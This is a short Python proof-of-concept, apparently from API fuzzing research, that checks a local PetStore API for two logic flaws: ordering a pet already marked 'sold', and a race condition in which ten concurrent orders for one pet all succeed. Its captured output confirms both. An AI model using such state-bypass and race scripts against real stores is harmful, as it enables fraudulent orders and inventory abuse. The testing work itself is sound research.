petstore-Improper Enforcement of Behavioral Workflow

gistfile1.txt

"""
Inventory Logic Vulnerability Test: Order on Sold Pet
This script tests  potential business logic vulnerabilities: Missing state validation: whether a pet with status 'sold' can be ordered.
"""

import requests
import threading

BASE_URL = "http://127.0.0.1:8080/api/v3"

def login(session, username, password):
    resp = session.get(f"{BASE_URL}/user/login", params={"username": username, "password": password})
    print(f"[+] {username} login response: {resp.status_code}")
    return resp.status_code == 200

def create_pet(session, pet_id, name, status="available"):
    pet = {"id": pet_id, "name": name, "status": status}
    resp = session.post(f"{BASE_URL}/pet", json=pet)
    print(f"[+] Created pet {pet_id} with status '{status}': {resp.status_code}")
    return resp.status_code

def try_order(session, order_id, pet_id, results):
    order = {"id": order_id, "petId": pet_id, "quantity": 1, "shipDate":"2025-11-12T12:00:00Z",
             "status":"approved", "complete": True}
    resp = session.post(f"{BASE_URL}/store/order", json=order)
    results.append((order_id, resp.status_code, resp.text))

def single_thread_test():
    print("\n=== Single-thread Test: Order on Sold Pet ===")
    s = requests.Session()
    login(s, "userA", "123456")
    # create sold pet
    create_pet(s, 888, "sold-dog", status="sold")
    # try ordering sold pet
    results = []
    try_order(s, 4000, 888, results)
    order_id, status, text = results[0]
    if status == 200:
        print(f"[!] Vulnerability detected: order {order_id} on sold pet succeeded")
    else:
        print(f"[+] Order {order_id} correctly rejected: {status}")

def concurrent_test():
    print("\n=== Concurrent Test: Race Condition Detection ===")
    PET_ID = 777
    s = requests.Session()
    login(s, "seller", "pass")
    create_pet(s, PET_ID, "race-dog", status="available")

    results = []
    threads = []
    for i in range(10):
        t = threading.Thread(target=lambda oid=i: try_order(requests.Session(), 5000+oid, PET_ID, results))
        threads.append(t)
        t.start()
    for t in threads:
        t.join()

    success_count = sum(1 for r in results if r[1] == 200)
    print(f"[+] Total successful orders for single-unit pet {PET_ID}: {success_count}")
    if success_count > 1:
        print("[!] Race condition detected: multiple orders succeeded for same pet")
    else:
        print("[+] No race condition detected: inventory state correctly enforced")

if __name__ == "__main__":
    single_thread_test()
    concurrent_test()

''''

=== Single-thread Test: Order on Sold Pet ===
[+] userA login response: 200
[+] Created pet 888 with status 'sold': 200
[!] Vulnerability detected: order 4000 on sold pet succeeded

=== Concurrent Test: Race Condition Detection ===
[+] seller login response: 200
[+] Created pet 777 with status 'available': 200
[+] Total successful orders for single-unit pet 777: 10
[!] Race condition detected: multiple orders succeeded for same pet
(base) PS E:\论文\模糊测试\RESTAPI\LLMfuzzapi\Poc\PetStore\new> 

'''